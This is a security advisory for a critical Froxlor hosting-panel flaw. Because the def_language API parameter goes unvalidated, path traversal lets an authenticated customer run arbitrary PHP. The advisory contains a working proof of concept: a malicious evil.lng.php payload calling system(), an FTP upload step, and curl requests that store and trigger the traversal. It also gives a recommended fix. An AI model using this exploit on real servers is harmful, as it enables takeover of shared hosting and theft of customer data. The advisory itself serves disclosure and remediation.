PT-2026-35188 · Packagist · Froxlor/Froxlor
Published
2026-04-16
·
Updated
2026-04-16
CVSS v3.1
9.9
Critical
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Summary
The Froxlor API endpoint
Customers.update (and Admins.update) does not validate the def language parameter against the list of available language files. An authenticated customer can set def language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.Details
Root cause: The API and web UI have inconsistent validation for the
def language parameter.The web UI (
customer index.php:261, admin index.php:265) correctly validates def language against Language::getLanguages(), which scans the lng/ directory for actual language files:php
// customer index.php:260-265
$def language = Validate::validate(Request::post('def language'), 'default language');
if (isset($languages[$def language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def language' => $def language
])->update();The API (
Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^r tf0]*$/D, which permits path traversal sequences:php
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def language = $this->getParam('def language', true, $result['def language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def language = Validate::validate($def language, 'default language', '', '', [], true);The tainted value is stored in the
panel customers (or panel admins) table. On every subsequent request, it is loaded and used in two paths:API path (
ApiCommand.php:218-222):php
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def language') !== null) {
Language::setLanguage($this->getUserDetail('def language')); // No validation
}
}Web path (
init.php:180-185):php
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def language')); // No validation
}
}The
language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def language.File inclusion (
Language.php:89-98):php
private static function loadLanguage($iso): array
{
$languageFile = dirname( DIR , 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP executionWith
$iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (
api allowed defaults to 1 in the schema).bash
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.phpThe file is now at
/var/customers/webs/<loginname>/evil.lng.php.Step 2 — Set traversal payload via API:
bash
curl -s -X POST https://panel.example.com/api
-H 'Authorization: Basic <base64(apikey:apisecret)>'
-d '{"command":"Customers.update","params":{"def language":"../../../../../var/customers/webs/customer1/evil"}}'The traversal path is stored in the database. The
.lng.php suffix is appended automatically by Language::loadLanguage().Step 3 — Trigger inclusion on next API call:
bash
curl -s -X POST https://panel.example.com/api
-H 'Authorization: Basic <base64(apikey:apisecret)>'
-d '{"command":"Customers.get"}'ApiCommand::initLang() loads def language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.Step 4 — Verify execution:
bash
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read
lib/userdata.inc.phpto obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
- Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
- Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (
api allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.Recommended Fix
Validate
def language against the actual language file list in the API endpoints, matching the web UI behavior:php
// In Customers.php, replace line 1207:
// $def language = Validate::validate($def language, 'default language', '', '', [], true);
// With:
$def language = Validate::validate($def language, 'default language', '', '', [], true);
if (!empty($def language) && !isset(Language::getLanguages()[$def language])) {
$def language = Settings::Get('panel.standardlanguage');
}Apply the same fix in
Admins.php at line 600.Additionally, add a defensive check in
Language::loadLanguage() to prevent path traversal:php
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str contains($iso, '..')) {
return [];
}
$languageFile = dirname( DIR , 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Froxlor/Froxlor